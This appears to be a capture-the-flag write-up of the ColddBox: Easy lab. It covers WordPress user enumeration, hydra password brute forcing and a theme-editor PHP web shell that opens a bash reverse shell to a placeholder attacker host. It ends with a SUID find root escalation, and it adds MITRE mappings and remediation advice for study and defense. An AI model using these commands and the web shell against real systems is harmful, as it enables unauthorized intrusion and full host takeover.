ColddBox: Easy
- Vulnerability
- User enum → brute-forced login → theme-editor RCE → SUID find
- Impact
- Full compromise — user and root flags captured (2/2)
- Tools
- nmap, gobuster, wpscan, hydra, curl, nc
- Given
- A single IP, no credentials
MITRE ATT&CK Mapping
| Tactic | Technique | ID | Evidence |
|---|---|---|---|
| Discovery | Account Discovery: Local Account | T1087.001 | wpscan's author-ID brute forcing enumerated three valid WordPress usernames |
| Credential Access | Brute Force: Password Guessing | T1110.001 | hydra ran a wordlist attack against wp-login.php and recovered the admin password |
| Execution | Server Software Component: Web Shell | T1505.003 | The authenticated theme editor was used to plant a PHP web shell / reverse shell in 404.php |
| Privilege Escalation | Exploitation for Privilege Escalation | T1068 | A SUID find binary spawned a root-owned shell via -exec |
Vulnerability Analysis
Root Causes: A weak, shared WordPress password combined with a sanctioned admin feature (the theme editor) to give code execution, and a leftover SUID bit on find turned that into root.
- CWE-521: Weak Password Requirements — the WordPress administrator password was a simple numeric string, crackable with a standard wordlist
- CWE-434: Unrestricted Upload of File with Dangerous Type — the built-in theme editor allows an authenticated admin to write arbitrary PHP straight into the webroot
- CWE-250: Execution with Unnecessary Privileges —
/usr/bin/findcarried the SUID bit with no legitimate admin workflow requiring it
Severity: No CVSS score applies — these are configuration weaknesses on a lab host, not a scored vulnerability in a shipped product. The practical effect is unauthenticated-to-root compromise.
Summary
ColddBox: Easy is a Linux host running an outdated WordPress install. A note left in an undisclosed
directory confirmed three real usernames, and a wordlist attack against wp-login.php cracked
the administrator's password. From the dashboard, the built-in theme editor doubles as a code-execution
primitive: overwriting a template file with PHP and loading it in a browser is enough to get a shell as
www-data. A SUID copy of /usr/bin/find left over on the box then handed over a
root shell in one command.
Key insight: nothing here is an exploit in the CVE sense — it's three sanctioned
features (login, theme editor, find) stacked without the access controls that are supposed
to sit around each of them.
Recon
A full TCP scan with service/version detection:
nmap -sC -sV -p- -T4 <target>
| Port | Service | Version |
|---|---|---|
| 80 | HTTP | Apache 2.4.18 (Ubuntu) — WordPress 4.1.31 |
| 4512 | SSH | OpenSSH 7.2p2 (moved off the default port 22) |
Directory brute-forcing the webroot turned up a non-standard /hidden/ path alongside the
usual WordPress files:
gobuster dir -u http://<target>/ -w /usr/share/wordlists/dirb/common.txt -x txt,php
That page held an internal note confirming three real accounts and that passwords were being shared between them — a strong hint the login was worth attacking directly:
C0ldd, you changed Hugo's password, when you can send it to him
so he can continue uploading his articles. Philip
User enumeration
wpscan's author-ID brute forcing confirmed the three usernames named in the note:
wpscan --url http://<target>/ --enumerate u --random-user-agent
# Valid usernames: c0ldd, hugo, philip
Why this matters: an "internal" note served over plain HTTP with no auth is public. It did the attacker's username enumeration for free.
Credential access
xmlrpc.php returned a bare 500, ruling out the usual XML-RPC brute-force path, so the
attack went straight at wp-login.php. A quick probe found the exact string the form returns
on a bad password, which became hydra's failure condition:
hydra -l c0ldd -P /usr/share/wordlists/rockyou.txt <target> \
http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:is incorrect" -t 16 -f
# login: c0ldd password: <redacted>
wpscan's own password-attack mode against the same three usernames independently confirmed the
credential — c0ldd, a WordPress administrator.
Initial access — theme editor RCE
Authenticating as c0ldd and opening Appearance → Theme Editor exposes an
arbitrary-write primitive: any file in the active theme can be replaced with attacker-controlled PHP, then
requested directly to execute it. The replacement for 404.php doubles as a passive web shell
and an automatic reverse shell:
<?php if(isset($_GET['c'])){ system($_GET['c']); }
exec("/bin/bash -c 'bash -i >& /dev/tcp/<attacker>/443 0>&1' > /dev/null 2>&1 &"); ?>
Submitted through the theme editor's update endpoint (with a fresh _wpnonce pulled from
the edit page) and then triggered with a single request:
curl http://<target>/wp-content/themes/twentyfifteen/404.php?c=id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
The reverse shell lands on the listener a moment later — a foothold as www-data, with the
?c= parameter still available as a lightweight web shell for scripted commands.
Privilege escalation — SUID find
Enumerating SUID binaries from the foothold turned up a copy of /usr/bin/find with the
SUID bit set:
find / -perm -4000 -type f 2>/dev/null
# ...
# /usr/bin/find <=== SUID find (abusable)
Per GTFOBins, a SUID
find can spawn a shell that keeps the elevated effective UID via -exec ... -p:
find /etc/hostname -exec /bin/sh -p \; -quit
# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
euid=0 — root achieved. The same primitive read both the user and root flag files, and the
WordPress database credentials out of wp-config.php.
Findings & remediation
| # | Finding | Severity | Remediation |
|---|---|---|---|
| 1 | Internal note publicly readable, confirming three usernames | Low | Never publish internal communication on a public web path |
| 2 | Weak, numeric WordPress admin password | High | Enforce password complexity; add login rate-limiting / lockout on wp-login.php |
| 3 | Theme/plugin file editor enabled | High | Set DISALLOW_FILE_EDIT and DISALLOW_FILE_MODS in wp-config.php |
| 4 | Outdated WordPress core (4.1.31) | Medium | Upgrade to a supported, patched release |
| 5 | SUID bit set on /usr/bin/find | Critical | chmod u-s /usr/bin/find — no standard workflow needs this |
Takeaways
- Enumerate before guessing. The hidden note and author-ID brute forcing turned a blind password attack into a targeted one against a single confirmed admin account.
- Admin features are attack surface too. The theme editor is a sanctioned WordPress feature, not a bug — but in the wrong hands it's unauthenticated-adjacent RCE.
- SUID audits matter. A single leftover SUID bit on a common utility erased every other control on the box.
References & Standards
- MITRE Framework
- MITRE ATT&CK — Adversary Tactics, Techniques, and Common Knowledge
- Common Weakness Enumeration
- CWE-521: Weak Password Requirements
- CWE-434: Unrestricted Upload of File with Dangerous Type
- CWE-250: Execution with Unnecessary Privileges
- Security Guidance
- GTFOBins — curated Unix binaries usable to bypass local security restrictions (relevant to the SUID find escalation)
- OWASP Top 10 — Most Critical Web Application Security Risks
- CIS Benchmarks — Security Configuration Standards